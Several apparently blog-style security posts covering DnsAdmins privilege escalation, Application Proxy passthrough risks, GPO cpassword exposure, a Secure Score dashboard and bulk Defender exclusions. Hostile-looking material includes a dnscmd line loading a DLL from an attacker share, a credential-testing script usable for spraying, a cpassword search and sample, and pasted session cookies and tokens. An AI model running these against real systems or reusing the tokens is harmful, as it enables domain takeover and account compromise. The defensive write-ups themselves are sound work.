Microsoft Defender for Identity Recommended Actions: Unsafe permissions on the DnsAdmins group

Microsoft Defender for Identity Recommended Actions: Unsafe permissions on the DnsAdmins group

Microsoft Secure Score helps organizations get insights into security posture based on security-related measurements. Microsoft Defender for Identity leverages Secure Score with twenty-seven recommended actions. In a series of blog posts, I will go through all twenty-seven recommended actions and what they mean, a plan of approach, their impact, and my security recommendations, hopefully helping others. The eighteenth one in the series is the “Unsafe permissions on the DnsAdmins group” recommended action.

Introduction

You have twenty-seven recommendations if you filter the Secure Score recommended actions for Microsoft Defender for Identity.

Some recommended actions are easy to configure, but others require time, proper planning, auditing, and expertise. This blog post will review the recommended action of “Unsafe permissions on the DnsAdmins group.”

Update: Microsoft keeps updating the recommended actions list. I will do my best to keep the list up-to-date.

DnsAdmins

The Microsoft documentation mentions the DnsAdmins group as a high-privilege group. In addition to the default permissions, Shay Ber found a privilege escalation when you are a member of the DnsAdmins group.

The idea is simple: When you are a member of the DnsAdmins group, you can set a registry key to set a path to a Dynamic Link Library (DLL) using DNSCMD using the following command.

dnscmd.exe /config /serverlevelplugindll \\attacker\temp\malicious.dll
Image 1: DNSCMD command

Here is the registry key set by the DNSCMD command:

Image 2: Registry key set by DNSCMD

This command sets a registry key instructing the DNS server to load a DLL from a specified path. Once the DNS service restarts, whether manually or automatically, the DLL is loaded into the DNS process with SYSTEM-level privileges.

This is especially alarming because DNS services are frequently hosted on Domain Controllers. In such scenarios, gaining control over the DNS service means gaining control over the Domain Controller itself. In turn, this could allow an attacker to take over the entire Active Directory domain, and potentially even the entire forest.

To its credit, Microsoft Defender for Identity does flag low-privileged users who are members of the DnsAdmins group. However, this is just the tip of the iceberg.

Print Operators

The Print Operators group is often misunderstood as being low-risk, but this could not be further from the truth. Members of this group have permissions that allow them to:

  • Load and unload device drivers
  • Log on locally to Domain Controllers
  • Shut down the server

Driver loading, in particular, can be an attack vector. A user could craft or deploy a malicious driver that executes with elevated privileges, opening the door to full system compromise. In essence, if a threat actor compromises a user account with Print Operators membership, they gain a reliable path to escalate privileges.

What makes this group especially dangerous is that its risks are often undocumented or underrepresented in common auditing practices. Defender for Identity does not currently flag Print Operators the way it flags DnsAdmins, which means these users could easily slip through the cracks of privilege audits.

Backup Operators

Similarly, Backup Operators hold more power than their name might suggest. This group allows its members to:

  • Bypass file and folder permissions
  • Backup and restore all files, including protected system files
  • Access data even on Domain Controllers

This essentially gives users the ability to exfiltrate sensitive data or restore manipulated system files. With access to sensitive NTDS.dit files or SYSTEM registry hives, an attacker could extract credentials or plant persistent backdoors. Like Print Operators, the Backup Operators group is not widely monitored, and many organizations mistakenly consider it low-risk.

Conclusion

While Microsoft Defender for Identity provides valuable alerts for DnsAdmins group membership, relying solely on these alerts creates blind spots. Print Operators and Backup Operators are equally capable of enabling privilege escalation and lateral movement within your environment.

To better protect your Active Directory infrastructure:

  • Regularly audit group memberships, especially in legacy or hybrid environments
  • Consider implementing tiered administrative models to isolate high-risk roles
  • Monitor the use of sensitive tools like dnscmd.exe

Privilege is power, and in Active Directory, that power is not always where you expect it to be. Do not let overlooked groups become your weakest link.

Microsoft Application Proxy Passthrough Risks

Microsoft Application Proxy Passthrough Risks

Microsoft Application Proxy is a component of Entra ID that enables secure remote access to on-premises web applications. Application Proxy has many notable strengths, particularly its integration with Entra ID, which includes existing Entra ID authentication methods, including multi-factor authentication. However, these authentication methods are not used if you configure an application to use passthrough pre-authentication. Configuring passthrough comes with risks, and in this blog post, I will discuss these risks and how to mitigate them.

Introduction

During a security assessment for a client, I discovered an application configured with passthrough pre-authentication. While Conditional Access policies and various security features were implemented in the cloud environment, this configuration raised concerns about potential authentication attacks on the on-premises environment. Specifically, setting passthrough as pre-authentication bypasses all cloud-based security measures, making it possible for malicious actors to authenticate to the on-premises environment, resulting in a potential threat.

Organizations face significant risks when proper monitoring is not implemented on internal servers or Domain Controllers. Let me explain what an application proxy does first.

Application Proxy

An Application Proxy is a cloud-based reverse proxy component that facilitates secure remote access to web applications hosted within internal networks. The proxy architecture consists of two primary components: the proxy service running in the cloud and the connector service installed on-premises.

The connector service establishes and maintains an outbound connection to the cloud service over port 443, eliminating the need for inbound firewall rules.

When external users attempt to access internal applications, their requests first hit the cloud-based proxy endpoint. The proxy service forwards these requests through the established tunnel to the connector service. The connector retrieves content from the internal application and returns it through the same tunnel. The entire traffic flow remains outbound only from the internal network’s perspective.

This architecture isolates internal applications from direct external access while maintaining seamless user connectivity. No DMZ or edge firewall modifications beyond standard HTTPS outbound access are required.

Note: Application Proxy and Microsoft Entra Private Access share the same infrastructure component: the Microsoft Entra private network connector.

Understanding Application Proxy enables us to explore its potential security risks.

Risks

Configuring an application with an Application Proxy requires three key elements: an internal URL, an external URL, and pre-authentication.

Image 1: Application Proxy with passthrough authentication

Here is what the pre-authentication looks like in this configuration.

Image 2: Authentication flow bypasses cloud security measures with passthrough authentication

Based on the configured authentication method, the authentication flow directs users to either the internal URL or the Domain Controller. This architecture inadvertently enables malicious actors to perform brute-force or password spray attacks against both local server accounts and Domain User accounts. Without adequate monitoring mechanisms, a successful credential compromise becomes a potential foothold for broader attacks across the organization’s services.

The situation is even more concerning. When organizations use services like Simple Certificate Enrollment Protocol (SCEP) with hybrid-joined devices, there is no straightforward way to set pre-authentication to Entra ID unless the devices are fully Entra ID joined. This leaves certain applications vulnerable to this attack.

Proof of Concept

The following Proof of Concept demonstrates these security risks in detail. The test environment consists of three core components: an application server, a proxy server, and a Domain Controller. Below is the architecture of our test environment.

Image 3: Server architecture test environment

The initial step requires installing the connector service on the proxy server. The connector is available for download in the Application Proxy section of Entra ID, and its installation process is straightforward.

Image 4: Download of the connector

The application server setup requires Internet Information Services (IIS) with Windows Authentication enabled.

Image 5: Configuration of IIS including Windows Authentication

The final step requires configuring Windows Authentication in IIS.

Image 6: Enable Windows Authentication and Disabled Anonymous Authentication

Next, configure the application with Application Proxy using passthrough pre-authentication.

Image 7: Passthrough Authentication

When accessing the external URL, a login prompt appears. The subsequent authentication process reveals critical security considerations.

Image 8: Login using an application proxy

Let us log in with the username “attacker” and an incorrect password to see what happens.

Image 9: Local login server APP01

Now login with the username “domain\attacker” and an incorrect password to see what happens.

Image 10: Login Domain User ADDS01

While this reflects the intended functionality, organizations must consider whether they have adequate monitoring measures to detect brute-force attempts and password spray attacks when using passthrough authentication.

Here is a script I created to test the authentication using PowerShell.

try {
    $username = "domain\user"
    $password = ConvertTo-SecureString "WhateverPassword" -AsPlainText -Force
    $cred = New-Object System.Management.Automation.PSCredential($username, $password)

    $response = Invoke-WebRequest -Uri "https://external.msappproxy.net/" `
        -Credential $cred `
        -Authentication None `
        -UseBasicParsing `
        -Headers @{
            "Authorization" = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$($cred.UserName):$($cred.GetNetworkCredential().Password)"))
            "Accept"="*/*"
            "User-Agent"="PowerShell Script"
        }

    Write-Host "Success! Status Code: $($response.StatusCode)"
    
} catch {
    Write-Host "Error occurred:"
    Write-Host "Status Code: $($_.Exception.Response.StatusCode.value__)"
    Write-Host "Error Message: $($_.Exception.Message)"
}

Discovery

Having identified these risks, let us examine how to determine if your organization uses an Application Proxy with passthrough authentication.

If the private network connector is disabled, Application Proxy is not implemented, eliminating the need for further investigation.

Image 11: Disabled Private Network

Below is a PowerShell script to check for any application set with “Pre Authentication” set to “Passthrough”, but to do it manually, apply the filter ‘Is App Proxy == Yes’ and review the pre-authentication settings for each application.

Image 12: Enterprise Application filter for application proxy applications

Thanks to Loris Ambrozzo, I was able to use the Microsoft Graph API to automatically identify any vulnerable application.

Connect-MgGraph -Scopes "Application.Read.All"

$getAllApplications = (Invoke-MgGraphRequest -Method GET -Uri 'beta/applications/').value
$getAllApplicationsIds = $getAllApplications.id
$passthruApps = @()

foreach ($id in $getAllApplicationsIds) {
  try {
    $uri = "beta/applications/$id"
    $uri += "?`$select=id,appId,displayName,onPremisesPublishing"
    $appDetails = Invoke-MgGraphRequest -Method GET -Uri $uri
   
    if ($appDetails.onPremisesPublishing -and $appDetails.onPremisesPublishing.externalAuthenticationType -eq "passthru") {
      Write-Host "Found an app set as passthru with Object ID: $id" -ForegroundColor Green
      $passthruApps += $appDetails
    }
  }
  catch {
  }
}

Write-Host "Total apps with externalAuthenticationType 'passthru': $($passthruApps.Count)" -ForegroundColor Cyan

Mitigation

For applications using passthrough authentication, evaluate the following:

  • Existence of adequate monitoring for brute-force and password spray attacks
  • Possibility of reconfiguring the application to use Entra ID authentication
  • Consider decommissioning the application if no longer required

Conclusion

Application Proxy with passthrough authentication, while providing seamless access to on-premises applications, introduces significant security risks when implemented without proper monitoring controls. The ability to perform authentication attacks directly against internal servers or Domain Controllers, bypassing cloud security measures, makes this configuration particularly concerning.

Organizations should carefully evaluate their Application Proxy implementations, especially those using passthrough authentication. Regular security assessments, robust monitoring of authentication attempts, and consideration of alternative authentication methods are essential steps in maintaining a secure environment. Where possible, organizations should prioritize Entra ID authentication over passthrough authentication to leverage the full spectrum of cloud-based security controls.

Microsoft Defender for Identity Recommended Actions: Reversible passwords found in GPOs

Microsoft Defender for Identity Recommended Actions: Reversible passwords found in GPOs

Microsoft Secure Score helps organizations get insights into security posture based on security-related measurements. Microsoft Defender for Identity leverages Secure Score with twenty-seven recommended actions. In a series of blog posts, I will go through all twenty-seven recommended actions and what they mean, a plan of approach, their impact, and my security recommendations, hopefully helping others. The seventeenth one in the series is the “Reversible password found in GPOs” recommended action.

Introduction

You have twenty-seven recommendations if you filter the Secure Score recommended actions for Microsoft Defender for Identity.

Some recommended actions are easy to configure, but others require time, proper planning, auditing, and expertise. This blog post will review the recommended action of “Reversible password found in GPOs.”

Update: Microsoft keeps updating the recommended actions list. I will do my best to keep the list up-to-date.

Reversible Passwords

Upon reflection, the term “Reversible Passwords” seems somewhat amusing. It raises the question: What constitutes an irreversible password? If passwords are encrypted, does that imply that with a reversible password, the key is discarded, making it an irreversible password? With encrypted passwords using a symmetric key, as long as the key exists, passwords remain reversible. The title of this recommended action is also confusing, as there is an option called “Store passwords using reversible encryption” in Active Directory, which has nothing to do with this recommended action.

What I find amusing is that the password is “reversible” for anyone due to Microsoft accidentally publishing the symmetric key on MSDN 🤷🏻‍♂️

Yes, Microsoft accidentally published the symmetric key back in 2012 which malicious actors were very grateful for. Since Microsoft was kind enough to publish the key, malicious actors can decrypt passwords found in Group Policy Objects containing an encrypted password.

Group Policy Objects

Group Policies enable the configuration of user or computer settings within an on-premises environment. They are a crucial component of the Domain Controller, offering extensive possibilities for environment configuration.

One such configuration allows the addition of a user to every computer in the domain with a specified password. Upon restarting the computer or during an automatic policy refresh, the user is added to the local computer where the policy is applied. The policy includes the specification of a username and password.

Image 1: Adding a local user using a GPO

Since each computer needs to know the configuration settings, policies are stored in the SYSVOL folder on every Domain Controller. Any authenticated user can access these policies. Therefore, passwords cannot be stored in plain text for security reasons. Microsoft encrypts the passwords using an AES key, ensuring that without the key, the passwords cannot be read in plain text.

Unfortunately, because Microsoft inadvertently published the key, it is possible to decrypt the passwords. A PowerShell script, such as the one referenced, can utilize the published key to decrypt the passwords specified in the domain policy. This situation poses a significant security risk.

Note: Since 2014, creating a user with a password, configuring a scheduled task, or mounting a network drive with a specified password has been prohibited. Microsoft disabled these options due to associated security risks. Fortunately, Microsoft Defender for Identity can identify encrypted passwords located in the SYSVOL folder.

PowerShell Example

As you read this blog post, you are likely already using Microsoft Defender for Identity, which I highly recommend. If you wish to search for encrypted passwords in a domain policy that can be decrypted using the published key, here is a one-liner PowerShell script.

Get-ChildItem -Path \\domain.local\SYSVOL\ -Recurse -Include *.xml | Select-String -Pattern "cpassword" | Select-Object Path, Line

Here is an example of an XML file containing an encrypted password.

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="User" image="0" changed="2012-05-01 10:25:22" uid="{22446077-737D-4D0B-9CE2-D1F5814B5700}" userContext="0" removePolicy="0"><Properties action="C" fullName="User" description="User" cpassword="OXdz8YJUEFZduEcfyxJfgm3ArpMpXtZeMfs7YzjO7Vk" changeLogon="0" noChange="1" neverExpires="0" acctDisabled="0" userName="User"/></User>
</Groups>

The following script enables the decryption of the password to plain text.

Conclusion

Although it is no longer possible to set a password in a Group Policy, any policies created in the past may still contain encrypted passwords that malicious actors can decrypt to obtain plain-text passwords. Microsoft Defender for Identity can identify these passwords within Group Policies, and it is highly recommended to remove any passwords from such policies. For those still using an on-premises environment, there are more secure methods available for device configuration.

Microsoft Secure Score Multi-Client Key Metric

Microsoft Secure Score Multi-Client Key Metric

I currently work at a Managed Security Service Provider (MSSP), delivering comprehensive security solutions to over twenty clients. One of our primary objectives is to enhance clients’ security resilience by utilizing Microsoft Secure Score as a key metric. We aim to elevate the Secure Score to a minimum of 75 percent. Given the number of clients, I recognized the need for a centralized dashboard to monitor all scores efficiently. In this blog post, I will outline the process of creating a fully automated Power BI dashboard to provide an overview of the Secure Scores for all clients simultaneously.

Presented below is an example of the outcome.

Image 1: Secure Score and KPI for multiple clients

Introduction

I aimed to obtain an overview of the Secure Scores for all clients through full automation, ideally utilizing native Microsoft tools. While numerous approaches exist to achieve this, I opted to use a storage account to store the Secure Score history, an automation account to automatically collect the data from our clients using the Graph API, and Power BI to visualize the data.

Image 2: Architectural Overview

We start by creating a storage account to store the data.

Storage Account

I opted to store the data from the Graph API in a blob storage within Azure. First, we create a Storage Account in a newly created Resource Group with the following settings.

Image 3: Creating a storage account

To store the data, we create a Container.

Image 4: Create a container with default settings

Once we have a Storage Account and a container, we must use an app registration to interact with the Graph API and store the data in the container. But before creating the app registration, we need to generate a certificate to authenticate to the App Registration.

Note: Navigate to “Security + Networking,” select “Access keys,” and copy the key for use in a subsequent step.

Certificate

To authenticate to the Storage Account, we create a self-signed certificate and export the certificate with and without the private key. Use the following script to generate and export the certificates to authenticate to the Storage Account.

$certname = "SecureScore"
$cert = New-SelfSignedCertificate -Subject "CN=$certname" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256

Export-Certificate -Cert $cert -FilePath "$certname.cer"

$mypwd = ConvertTo-SecureString -String "StrongPassword" -Force -AsPlainText
Export-PfxCertificate -Cert $cert -FilePath "$certname.pfx" -Password $mypwd

Note: The “.CER” file is the certificate without the private key, and the “.PFX” file is the certificate with the private key. We use the “.CER” file for the App Registration and the “.PFX” file for the Automation Account.

With the required certificate in hand, we will proceed to create an App Registration. This registration will facilitate communication with the Graph API to retrieve the Secure Score data.

App Registration

In Entra ID, we select “App registrations” and click “New Registration” to register a new application.

Image 5: Create a new application

We give the application a name and click “Register.”

Image 6: Register the application

In our newly created app, we select “Certificates & secrets,” select “Certificates,” and upload the certificate we generated in the previous step.

Image 7: Upload certificate for authentication

Note: Please save the certificate’s thumbprint, as you will need it for future steps. We also need the ClientID of the App Registration and TenantID which can be found at the overview of the App Registration.

Once the certificate is uploaded, we select “API permissions” and click “Add a permission.” At the top, we select “Microsoft Graph,” followed by “Application permissions.” Search for “SecurityEvents.Read.All” and click “Add permissions.”

Image 8: Add Graph API permissions

To grant the permissions, click “Grant admin consent for domain” and select “Yes.”

Image 9: Grant admin consent

Upon completion of the App Registration, data retrieval can be automatically managed using an Automation Account.”

Automation Account

Within the newly created Resource Group, we will add an Automation Account. Upon deploying the Automation Account, navigate to ‘Certificates’ and upload the certificate created in the preceding step.

Image 10: Add certificate automation account

We will create variables for sensitive data, such as the Storage Account Key, and then use them within the script.

Create the following variables under “Shared Resources / Variables with the correct values we saved previously.

  • CertificateThumbprint
  • StorageAccountKey
  • TenantIDClient01
  • ClientIdClient01

Now that we have the variables used in the script, it is time to create a Runbook.

Go to “Process Automation” and select “Runbooks.” Click “Create runbook” and enter the client’s name, type PowerShell and Runtime version 7.2 followed by “Review + Create.”

Image 11: Creating a runbook

On the top, click “Edit” followed by “Edit in portal.” Copy the script into the editor and click “Save” and “Publish.”

$ClientIdClient01= Get-AutomationVariable -Name 'ClientIdClient01'
$TenantIdClient01 = Get-AutomationVariable -Name 'TenantIdClient01'
$CertificateThumbprint = Get-AutomationVariable -Name 'CertificateThumbprint'
$StorageAccountKey = Get-AutomationVariable -Name 'StorageAccountKey'

Connect-MgGraph -clientId $ClientIdClient01 -tenantId $TenantIdClient01 -certificatethumbprint $CertificateThumbprint
Get-MgSecuritySecureScore | ConvertTo-Json | Out-File -FilePath "Client01.json"

$ctx = New-AzStorageContext -StorageAccountName "securescore001" -StorageAccountKey $StorageAccountKey
$container = Get-AzStorageContainer -Name "securescore" -Context $ctx

$filesToUpload = Get-ChildItem "Client01.json" -Recurse -File
Set-AzStorageBlobContent -File $filesToUpload.fullname -Container $container.Name -Blob $targetPath -Context $ctx -Force:$Force | Out-Null

If everything went ok, we can see the published Runbook as “Published” in the “Runbooks” section of the Automation Account.

Image 12: Published Runbook

We want to automate the process. Luckily, you can add a schedule that runs once daily, which you can then add to the Runbook.

Under “Shared Resources,” you will see “Schedules.” Click “Add a schedule” at the top and enter the following settings to add a daily schedule.

Image 13: Add new schedule

Now that we have a daily schedule, we can add the schedule to the Runbook.

Image 14: Add schedule to Runbook

The last thing we need to do is add the correct modules used in the script.

Image 15: Adding modules to Automation Account

With all data preparations complete, we will use Power BI to visualize the Secure Score.

Power BI

After we open the Power BI Desktop application, we import our data by clicking “Get Data” and selecting “Azure Blob Storage.”

Image 16: Importing data from Azure Blob Storage

In the next step, we enter the name of the Storage Account.

Image 17: Enter the name of the Storage Account

We need to connect to the Storage Account using the Access Key.

Image 18: Enter the Account Key of the Storage Account

Tick the container name and click “Load.”

Image 19: Tick the container name and Load the data

The JSON file is a binary object. To convert it to usable data, click the two down-arrows next to “Content.”

Image 20: Convert the JSON object to usable data

The data should look like this.

Image 21: Converted data

You can see the data we will work with on the right side.

Image 22: Table with data

If we add a “Line Chart” and the “CreatedDateTime” for the “X-axis” and “Sum of Current Score” for the Y-axis, we see that the calculation of the Secure Score is incorrect.

Image 23: Adding the date and current score to a line chart

The score is incorrect due to the point system that Microsoft used. We can easily fix this by using a simple calculation.

SecureScoreClient01 = 

DIVIDE(
    SUM('Client01'[CurrentScore]),
    SUM('Client02'[MaxScore])
) * 100

Select the “securescore” table on the right-hand side and click “New Calculation”. Enter the code above and use “SecureScoreClient01” for the Y-axis. The end result should look like this.

Image 24: End-result of the Secure Score

When adding multiple clients, repeat the previous steps. Since the certificate is the same, adding a new client should be easy.

Conclusion

In this blog post, I demonstrated how to create a dashboard of a single client’s Secure Score using a fully automated process and native Microsoft tooling. Repeating the previous steps makes adding multiple clients easy, and using the same certificate makes creating another certificate unnecessary. My initial thought was to create the dashboard with the Secure Score and Key Performance Indicator. When serving multiple clients, the next step is to add which Recommended Action is open for the most clients so I can implement a Recommended Action for all clients.

Microsoft Defender for Identity Bulk Operation

Microsoft Defender for Identity Bulk Operation

Microsoft Defender for Identity supports health issues through the Microsoft Graph API. Unfortunately, at the time of writing, only health issues are supported. When you want to perform a bulk operation, there is no way to do this using the Microsoft Graph API. Using PowerShell in this blog post, I will describe how to add multiple IP addresses to the “Global Excluded Entities” list as a bulk operation.

WARNING: When adding multiple IP addresses to the “Global Excluded Entities” list, it is good to understand Microsoft Defender for Identity will ignore ALL detection from that IP address. This blog post showcases performing a bulk operation, such as adding multiple IP addresses to the “Global Excluded Entities” list.

Automate request with PowerShell

The first thing we need to do is copy the request using a browser to replay it. Open the Defender portal and go to the section where you want to perform a bulk operation. In my example, I am opening the IP addresses section for “Global Excluded Entities.” Add any IP address in the text field and click “Add.” Open the developer’s tools and open the “Network” section. Clear the network log to start with a clean sheet.

Image 1: Developers tools to capture request

Once you click “Add IP addresses (0),” check for the request named “Global” and where you see the added IP address. Right-click the request and select “Copy / Copy as PowerShell.”

Image 2: Copy the request as PowerShell

Now copy the PowerShell command in PowerShell and change the IP address to something else.

Image 3: PowerShell request with a new IP address

Now, you see the new IP address in the portal using a PowerShell command.

Image 4: Added IP address using PowerShell

Now, we create a text file with all the IP addresses we want to add with every IP address on a new line.

10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.5
10.0.0.6
10.0.0.7
10.0.0.8
10.0.0.9

Before the “Invoke-WebRequest,” we need to add a new body and a for loop.

foreach($IPAddress in [System.IO.File]::ReadLines("C:\Users\thalpius\Downloads\IPAddresses.txt")) {

  $body = @{
    ExclusionType = @("Subnet")
    ExcludedEntityIdentifiers = @($IPAddress) 
  } | ConvertTo-Json

For the body, we use the body variable as input.

-Body $body

Here is an example of the complete script.

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0"
$session.Cookies.Add((New-Object System.Net.Cookie("s.SessID", "e0826123-5b02-43ea-a531-031ad1104817", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("X-PortalEndpoint-RouteKey", "weuprod_westeurope", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("sccauth", "UB2-m0wz3Ws58SPzNbefq9e9WE9EOv2lmLaPw7kKo9kh2PMxFotm7jIah1GdqZrw8VBrpU1Kgm26DgaLSZ6A5ywC-5J8iqlrv6ik0TTeCUiZuVcpwP6eZ19-7yTfR81oQwvYyTtDpuoG2_vBnBpp9q_LHYmLQFQL0PaSuuYUFZWLJvQumgHU-4Ec8kcsUM025w4aDO-CBzP9DzPLkDN2F2EeEREjRAPffqvrf64cg41javXDp52O-D0ZWqpoZYcAVvBPOYYZZPLKulZurWytpwk3y2KDdsL_TUDIwNujgDej7g_sKad5nHv6NTkiEAnXKyueozReEfo_EixVcs_MwhGKkZHPDhVJOnybkYnoDSOuU_SlrlOM7IcITNcc2h6wOqti-oHyB5Zpm0kHGxJXVZeL2A02XCy_0FFmI5GyZ0miFTu2OnoC4LLxAh4zD1mohPnbP2EzBv8X05QiyLYbl_H81LnWrKeCjJ-ZHp01pY9P6CtVJFRKJIuFFtN1lKGwcsX644y4xHAxLvikJOmzyEDSSFo2IdSFfQqo_TCgA_5PwHQ-N0Jvw4CzOyvxbe-4OaloZPgpYqoKJ6SGo3uIxG4-YjJOaXbbaLUsI4GuGqwCRfdZ2frUBqxyv3UPTtMkelKMjHS5CaxKgFjvRP3DSI0PTF_HXe6nRNAfUJ45hNBrRFKM1LY4E3_duPOfSEL1BXlylvSc5JYE2OfMZvZfeFqURlY7tb84tok6vwMnNb-dNKA2ERgAVCnv96hoges_HRLOSGybRAMCnzxV8VeGyZepKUEVqQcachQMIJXcStNbjFFl5K5oysQ2rfzI_p6vTkYSf6n-MC5gTjH5LDPF4LUBIPPx4FjiqKhpQSE9MdsTARNbFn6mWZb3cuK2vVi6emlBic9UQlVfh_IbuD9AolrrT3l4THawS1fZZvsCZoE7nRKNe06KOfj82ierTO9_bJ9N2Ea_mx27WGfAcE9t4KYxu8g1dQQMp2bmfHkUD0g4rOhlvzz5SKFevUwN7hJscZ_24R9O0SlssA3RXWL-nMLMqx6dLsNo5f7CLM66kv9_94CV8c7zg6ZigYho6fxTqC2WctxJJ0q-7bnTRInnZR_bUvACie6jQvtpnAjDOnPFR19_xb0oaT-yYnDdHhyC1pWX8H9Vl7zDGvjDM9pdx07FbK-IswgUhEelvh1GUyEbt78Z-_CeoGmcIO6aVTGxVmfGDX28o9c3-0_ply1ZMj8Hfh3d2issz-cE8bgQCcU-SAQTtwnmAd_PL7ua4ss2M-aw6TQ1P-sjTRg1UqUTT5CJ7V9ahyAQvhTgSKCHMhIlYx-GoFa3WalcW0mCOSxT-gKHuKzTal9CdmX4KS65002uCuU_0A1Rz3W0ke1ki8PpfzTDItqpi-EYG6ajGcIxjLfLPMUU31ArcSDYaATUUBJEw8p5_wDBR1B7wUUUeSNrfDQxXvkLaiagS-U7tE7WC5P5gmSba3NPNY_wj_F6DhSq3ms_ytCPsHy1aKZUDgtoTvc1-_bVEAdmR8S3GZ7VnN0lOmK7hk0dvPexn7qVqdLoLa0w2gOfseeZytTlN4KHbiZicVWxlOdQ_Mae3qGYSmGKxkWltq3kctEOyF5Jjh7NK19rw_XgDmsGal7QnD_TutPLKXDGmAhCNwoJkJ0BBz9uyuiGNowSKI-gxFxr30Dcp29qG6tUL8DKWgmnZjPcQ9Mjegdim4m7rAxO8oZvdgiFQbrz8DpF2avtiRHAPSBMpILo6fp5ZhBXRKjUG4_7ClE_YWTA391VntnQwoVzfJHxXflnSp4A4lRNTNVbpW-2wi2CjrJWZPoNwJmxUrKhnEHGYMoKPFjZ5wThpFeP87vhJ7axY_V7Dc9k2Q9IdYXlbVZU9_AnEtX8iH77qu_9p2lUzAd3HAAPUKgt6xKZc1-ICDAuD7yB0JMGt-DpkcBU2WELxn9zUsHD9zb9RD2jfsDqHgHBqEZoX1Hlhy-cU9lfdo-3MiP_ld3mnpukREt7Zn-Y84b34Zx8EleAfDVyoJxfOhl2eLglGMJW6oaQ-zy2YdLmHG8Thj76FbTwL4jYeU76wsgsd0Y2mey6tQYaeCEVxffbUoPdvW8EFZYFkX-SQBt-PsBf2I2Trz24o7-wc-9L602J6cTGeX2czaBhJ8VIWE8-orkdfj43Ih-rUZasq8O_uuRVk0YWkwQ", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("s.Flight", "", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("ai_user", "pLdacxhAs64+rre2OP2jWq|2024-11-13T07:27:09.559Z", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("MicrosoftApplicationsTelemetryDeviceId", "4a003a38-4e78-463e-a6cd-9c216518c0c6", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("SSR", "1731482842137", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("XSRF-TOKEN", "yPxQoy4EzwoI_1T3KL-ceaL3A37Qwa_YpYipGReBSKhx8BromY2IzOk69YSR59Hy2oVt1T4Uls4_t_Fepgh-7uk-ED6zV_QfxUEYUFfmDVgWWUE-972C5JdGu0v55LgyX-pxTIQkf1QLLmitQ2%3AF5NtYsmk3iMXBbn8_ejAAgLsf5r45wD8hhR0PiFg41hO4kzw0MetHytNEUflPOKZy9YNpW2WOC-6Um0-Dex564PLDA23vBV_rfjGruTi3wlIfBDprITy_yy1TQcMacdYFFkfNqf8aBEYNGjCoz49eXES6TRcypXelVBmOLyhhFgeOqOKmFY8Ym0iMXp50", "/", "security.microsoft.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("ai_session", "RD4lfgBFP1nJP6terAqmgj|1731485369809|173146039530", "/", "security.microsoft.com")))

foreach($IPAddress in [System.IO.File]::ReadLines("C:\Users\thalpius\Downloads\IPAddresses.txt")) {

  $body = @{
    ExclusionType = @("Subnet")
    ExcludedEntityIdentifiers = @($IPAddress) 
  } | ConvertTo-Json

  Invoke-WebRequest -UseBasicParsing -Uri "https://security.microsoft.com/apiproxy/aatp/api/workspace/configuration/exclusion/Global" `
-Method "POST" `
-WebSession $session `
-Headers @{
"authority"="security.microsoft.com"
  "method"="POST"
  "path"="/apiproxy/aatp/api/workspace/configuration/exclusion/Global"
  "scheme"="https"
  "accept"="application/json, text/plain, */*"
  "accept-encoding"="gzip, deflate, br, zstd"
  "accept-language"="en-us"
  "m-componentname"="SettingsPage"
  "m-connection"="4g"
  "m-name"="SettingsPage[aatp]"
  "m-package"="aatp"
  "m-type"="Page"
  "m-viewid"="globalExclude"
  "origin"="https://security.microsoft.com"
  "priority"="u=1, i"
  "referer"="https://security.microsoft.com/securitysettings/identities?tid=df29849b-6a64-481b-97662-8da3fafcb33b&tabid=globalExclude"
  "request-context"="appId=cid-v1:9f356be5-73bf-45f7-9a98-a86fc98ec84f"
  "request-id"="|4a1abe2879fe44ab8cf1c4fa75a70169.5e69152ec0884513"
  "sec-ch-ua"="`"Chromium`";v=`"130`", `"Microsoft Edge`";v=`"130`", `"Not?A_Brand`";v=`"99`""
  "sec-ch-ua-mobile"="?0"
  "sec-ch-ua-platform"="`"Windows`""
  "sec-fetch-dest"="empty"
  "sec-fetch-mode"="cors"
  "sec-fetch-site"="same-origin"
  "tenant-id"="df29849b-6a67-381b-9162-8da3fafcb33b"
  "x-accepted-statuscode"="3..|4..|50."
  "x-clientpage"="securitysettings.identities@aatp"
  "x-clientpkgversion"="20241112.1"
  "x-edge-shopping-flag"="1"
  "x-tabvisible"="visible"
  "x-tid"="df29849b-6a67-481e-9162-8da3fafcb33b"
  "x-xsrf-token"="yPxQoy4EzwoI_1T3KL-ceaL3A37Qwa_YpYipGROreBSXxJBromY2IzOk69YSR59Hy2oVt1T4Uls4_t_Fepgh-7Guk-ED6zV_QfxUEYfmDVgWWUE-972C5J1Gu0v55dwwX-pxTIQkf1QLLmitQ2:F5NtYsmk3iMXBbn8_ejAAgLsf5r45wD8hhR0PiFg41hO4kzw0MBetHwNEUflPOKZy9YNpW2WOC-6Um0-Dex564PLDA23vBV_rfjGruTi3wfBDprITy_yy1TQcMacdYFFkfNqf8aBEYNGjCfoz49eXEFS6TRcypXelVBmOLewe33hFgeOqOKmFY8Ym0iMXp350"
} `
-ContentType "application/json" `
-Body $body

}

Refreshing the portal will allow you to see all the IP addresses added to the “Global Excluded Entities” list.

Image 5: Added IP addresses using PowerShell

Conclusion

There are better ways to perform bulk operations than this method using PowerShell, but it does work. I do not see a lot of companies needing to use a bulk operation for Microsoft Defender for Identity, but when you do, automation is beneficial.